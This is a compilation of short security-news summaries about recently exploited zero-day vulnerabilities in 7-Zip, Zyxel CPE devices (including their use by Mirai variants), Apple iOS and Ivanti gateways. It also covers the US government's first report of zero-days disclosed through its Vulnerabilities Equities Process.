The ZDI team offers an analysis of how CVE-2025-0411, a zero-day vulnerability in 7-Zip was actively exploited to target Ukrainian organizations through spear-phishing and homoglyph attacks.
In a first-of-its-kind report, the US government has revealed that it disclosed 39 zero-day software vulnerabilities to vendors or the public in 2023 for the purpose of getting the vulnerabilities patched or mitigated, as opposed to retaining them to use in hacking operations.
It’s the first time the government has revealed specific numbers about its controversial Vulnerabilities Equities Process (VEP) — the process it uses to adjudicate decisions about whether zero-day vulnerabilities it discovers should be kept secret so law enforcement, intelligence agencies, and the military can exploit them in hacking operations or be disclosed to vendors to fix them. Zero-day vulnerabilities are security holes in software that are unknown to the software maker and are therefore unpatched at the time of discovery, making systems that use the software at risk of being hacked by anyone who discovers the flaw.
After identifying a significant overlap between IPs exploiting CVE-2024-40891 and those classified as Mirai, the team investigated a recent variant of Mirai and confirmed that the ability to exploit CVE-2024-40891 has been incorporated into some Mirai strains.
GreyNoise is observing active exploitation attempts targeting a zero-day critical command injection vulnerability in Zyxel CPE Series devices tracked as CVE-2024-40891. At this time, the vulnerability is not patched, nor has it been publicly disclosed. Attackers can leverage this vulnerability to execute arbitrary commands on affected devices, leading to complete system compromise, data exfiltration, or network infiltration. At publication, Censys is reporting over 1,500 vulnerable devices online.
Apple has released security updates to fix this year's first zero-day vulnerability, tagged as actively exploited in attacks targeting iPhone users.
On Wednesday, January 8, 2025, Ivanti disclosed two CVEs affecting Ivanti Connect Secure, Policy Secure, and Neurons for ZTA gateways. CVE-2025-0282 is a stack-based buffer overflow vulnerability that allows remote, unauthenticated attackers to execute code on the target device. CVE-2025-0283 is a stack-based buffer overflow that allows local authenticated attackers to escalate privileges on the device.